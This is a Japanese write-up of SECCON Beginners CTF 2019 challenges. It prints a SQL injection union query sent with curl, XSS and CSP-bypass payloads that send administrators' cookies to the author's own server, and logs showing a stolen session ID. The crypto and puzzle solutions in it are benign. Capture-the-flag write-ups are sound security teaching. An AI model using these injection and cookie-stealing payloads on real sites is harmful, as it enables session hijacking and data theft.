SECCON Beginners CTF 2019 Writeup
noranecoは未参加だったので、いつもと違うチームで参加。
Webメイン、CryptとMisc少々解いた。昨年より難しかった印象。
おそらく色々な人がwriteupを書いてくれると思うので、いつもより簡易的な説明に留める。
[warmup] Ramen
Question
ラーメン https://ramen.quals.beginners.seccon.jp
Solution
SQL Injection自明。union句が使える。
information_schemaからテーブル名と列名を取得してflag
テーブルからフラグゲット。
root@kali:~# curl https://ramen.quals.beginners.seccon.jp -G --data-urlencode "username=' union all select 1,flag from flag #" (snip) <tr> <td>せくこん太郎</td> <td>1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。</td> </tr> <tr> <td>せくこん次郎</td> <td>せくこん太郎の弟。好きな食べものはコッペパン。</td> </tr> <tr> <td>せくこん三郎</td> <td>せくこん次郎の弟。食材本来の味を引き出すことに全力を注ぐ。</td> </tr> <tr> <td>1</td> <td>ctf4b{a_simple_sql_injection_with_union_select}</td> </tr> (snip)
katsudon
Question
Rails 5.2.1で作られたサイトです。 https://katsudon.quals.beginners.seccon.jp クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。 フラグは以下にあります。 https://katsudon.quals.beginners.seccon.jp/flag # app/controllers/coupon_controller.rb class CouponController < ApplicationController def index end def show serial_code = params[:serial_code] @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code) end end
Solution
https://katsudon.quals.beginners.seccon.jp/flag
にアクセスすると、BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a
という文字列。
root@kali:~# echo -n BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU | base64 -d I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}:ET
Himitsu
Question
抱え込まないでくださいね。 https://himitsu.quals.beginners.seccon.jp ソースコード: https://score.beginners.seccon.jp/files/c8568442c06826ed8bba5695a0ca2ea3_himitsu.zip
Solution
タイトルに<img src=x onerror="location.href='http://myserver/?q=' + document.cookie">
をセットして投稿する。
myserverは自分で立てたWebサーバ。
投稿して払い出された記事IDを使って、本文に[#[#記事ID#]#]をセットして再投稿する。
すると、記事のタイトルのバリデーションチェックをバイパスできる。
結果、最初に投稿したタイトルXSS攻撃コードを持つタイトルが文中に展開されてスクリプトが動作する。
管理者に秘密を共有すると自分のWebサーバにアクセスが来てセッションIDを窃取できる。 (通報時にスクリプトが動作してしまので工夫が必要)
153.120.82.72 - - [25/May/2019:23:56:31 +0900] "GET /?q=PHPSESSID=535251b86c56f77b804c4343f6a868e3 HTTP/1.1" 200 288 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/74.0.3729.157 Safari/537.36"
Secure Meyasubako
Question
みなさまからのご意見をお待ちしています。 https://meyasubako.quals.beginners.seccon.jp 参考: https://score.beginners.seccon.jp/files/f379baacbdd51cd8305869a633377aa4_crawl.js
Solution
CSPをバイパスする問題。
CSP Evaluatorで調べると、script-srcの設定にリスクがあることがわかる。
以下の記事を参考に、JSONPでイベント発火させ、Cookieを付与して自サーバに画面遷移させるスクリプトを組む。 github.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.1.3/angular.min.js"></script> <div ng-app ng-csp id=p ng-click=$event.view.location.replace("http://myserver?q="+$event.view.document.cookie)> <script async src=https://www.google.com/complete/search?client=chrome&q=aaaa&callback=p.click></script>
管理者に届けるとアクセスが来た。
153.120.128.5 - - [26/May/2019:01:37:09 +0900] "GET /?q=flag=ctf4b{MEOW_MEOW_MEOW_NO_MORE_WHITELIST_MEOW} HTTP/1.1" 200 288 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/74.0.3729.157 Safari/537.36"
Party
Question
Let's 暗号パーティ File: party.tar.gz
Solution
連立方程式にして、あとはsimpyを使うだけ。
from Crypto.Util.number import long_to_bytes import sympy x = sympy.Symbol('x') y = sympy.Symbol('y') z = sympy.Symbol('z') party = [ 5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787, 3084167692493508694370768656017593556897608397019882419874114526720613431299295063010916541874875224502547262257703456540809557381959085686435851695644473, 6308915880693983347537927034524726131444757600419531883747894372607630008404089949147423643207810234587371577335307857430456574490695233644960831655305379 ] val = [ 222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933, 81417930808196073362113286771400172654343924897160732604367319504584434535742174505598230276807701733034198071146409460616109362911964089058325415946974601249986915787912876210507003930105868259455525880086344632637548921395439909280293255987594999511137797363950241518786018566983048842381134109258365351677883243296407495683472736151029476826049882308535335861496696382332499282956993259186298172080816198388461095039401628146034873832017491510944472269823075, 340685435384242111115333109687836854530859658515630412783515558593040637299676541210584027783029893125205091269452871160681117842281189602329407745329377925190556698633612278160369887385384944667644544397208574141409261779557109115742154052888418348808295172970976981851274238712282570481976858098814974211286989340942877781878912310809143844879640698027153722820609760752132963102408740130995110184113587954553302086618746425020532522148193032252721003579780125 ] expr1 = x + party[0] * y + party[0]**2 * z - val[0] expr2 = x + party[1] * y + party[1]**2 * z - val[1] expr3 = x + party[2] * y + party[2]**2 * z - val[2] ans = sympy.solve([expr1, expr2, expr3]) print(long_to_bytes(ans[x]))
実行結果
ctf4b{just_d0ing_sh4mir}
Dump
Question
Analyze dump and extract the flag!! https://score.beginners.seccon.jp/files/fc23f13bcf6562e540ed81d1f47710af_dump
Solution
添付のPCAPファイルからデータを抜き出して、cyberchefでFrom_Octalかけて作成したファイルにbinwalk -eM download.dat
するだけ。
Sliding puzzle
Question
nc 133.242.50.201 24912 スライドパズルを解いてください。すべてのパズルを解き終わったとき FLAG が表示されます。 スライドパズルは以下のように表示されます。 ---------------- | 0 | 2 | 3 | | 6 | 7 | 1 | | 8 | 4 | 5 | ---------------- 0 はブランクで動かすことが可能です。操作方法は以下のとおりです。 0 : 上 1 : 右 2 : 下 3 : 左 最終的に以下の形になるように操作してください。 ---------------- | 0 | 1 | 2 | | 3 | 4 | 5 | | 6 | 7 | 8 | ---------------- 操作手順は以下の形式で送信してください。 1,3,2,0, ... ,2
Solution
アルゴリズムを一から作るのは辛い。
と思ってググったら以下の記事を発見。
微妙なデータフォーマットの差異を吸収して、サーバとやりとりするロジック書いて実行したら勝ち。
import socket import re import itertools from collections import deque MOVE = {'U': (0, -1), 'D': (0, 1), 'L': (-1, 0), 'R': (1, 0)} # (x,y) def get_next(numbers): for d in 'UDLR': zero_index = numbers.index(0) tx, ty = zero_index % 3 + MOVE[d][0], zero_index // 3 + MOVE[d][1] if 0 <= tx < 3 and 0 <= ty < 3: target_index = ty * 3 + tx result = list(numbers) result[zero_index], result[target_index] = numbers[target_index], 0 yield d, tuple(result) def checkio(puzzle): queue = deque([(tuple(n for line in puzzle for n in line), '')]) seen = set() while queue: numbers, route = queue.popleft() seen.add(numbers) if numbers == (0, 1, 2, 3, 4, 5, 6, 7, 8): return route for direction, new_numbers in get_next(numbers): if new_numbers not in seen: queue.append((new_numbers, route + direction)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('133.242.50.201', 24912)) data = s.recv(1024).decode("utf-8") for i in range(100): pattern = r'ctf4b{.*}' m = re.search(pattern, data) if m: print(data) break pattern = r'----------------\n\| ([0-9]{2}) \| ([0-9]{2}) \| ([0-9]{2}) \|\n\| ([0-9]{2}) \| ([0-9]{2}) \| ([0-9]{2}) \|\n\| ([0-9]{2}) \| ([0-9]{2}) \| ([0-9]{2}) \|\n----------------' m = re.search(pattern, data) if m: puzzle = [ [int(m.group(1)),int(m.group(2)),int(m.group(3))], [int(m.group(4)),int(m.group(5)),int(m.group(6))], [int(m.group(7)),int(m.group(8)),int(m.group(9))] ] answer = checkio(puzzle) answer = ','.join(list(answer.replace('U','0').replace('R','1').replace('D','2').replace('L','3'))) print(answer) s.sendall(answer.encode("utf-8")) data = s.recv(1024).decode("utf-8") print(data) else: print("error") break
実行結果
[+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}